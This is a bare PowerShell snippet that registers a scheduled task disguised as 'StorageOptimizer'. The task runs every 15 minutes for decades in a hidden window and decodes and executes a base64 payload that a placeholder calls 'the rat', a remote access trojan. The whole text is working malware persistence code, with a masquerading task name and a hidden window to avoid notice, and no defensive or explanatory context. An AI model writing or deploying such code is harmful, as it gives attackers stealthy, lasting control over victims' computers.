```powershell
$T = New-ScheduledTaskTrigger -Once -RandomDelay 00:05:00 -RepetitionDuration (New-TimeSpan -Days 10000) -At (Get-Date).AddSeconds(10) -RepetitionInterval (New-TimeSpan -Minutes 15);
$P = New-ScheduledTaskPrincipal $env:USERNAME;
$S = New-ScheduledTaskSettingsSet ;
$A = New-ScheduledTaskAction -Execute "powershell.exe" -Argument '-windowstyle hidden -command iex ([System.Text.Encoding]::Ascii.GetString([System.Convert]::FromBase64String(\"<the rat as base64 string\")))';
$D = New-ScheduledTask -Action $A -Principal $P -Trigger $T -Settings $S;
Register-ScheduledTask StorageOptimizer -InputObject $D | Out-Null;
```